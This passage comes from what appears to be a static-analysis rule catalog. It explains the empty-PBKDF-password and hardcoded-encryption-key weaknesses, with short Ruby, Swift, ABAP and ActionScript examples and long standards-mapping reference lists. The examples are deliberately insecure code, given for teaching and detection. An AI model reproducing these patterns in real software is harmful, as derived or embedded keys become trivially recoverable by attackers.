[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_empty_pbe_password
Abstract
An empty password is used to generate a key from a password-based key derivation function (PBKDF). Providing an empty password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:


...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_empty_pbe_password
Abstract
An empty password is used to generate a key from a password-based key derivation function (PBKDF). Providing an empty password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:


...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

Example 2: Some lower-level APIs may require passing the length of certain arguments as well as the argument values themselves, such that a function can read the argument's value as a number of consecutive bytes beginning at the argument's location in memory. The following code passes zero as the password length argument to a cryptographic PBKDF:


...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...


In this scenario, even if password contains a strong, appropriately managed password value, passing its length as zero will result in an empty, null, or otherwise unexpected weak password value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_empty_pbe_password

Key Management: Hardcoded Encryption Key

Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


...
encryptionKey = "lakdsljkalkjlksdfkl".
...


Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


    ...
    var encryptionKey:String = "lakdsljkalkjlksdfkl";
    var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
    ...
    var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
    ...


Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
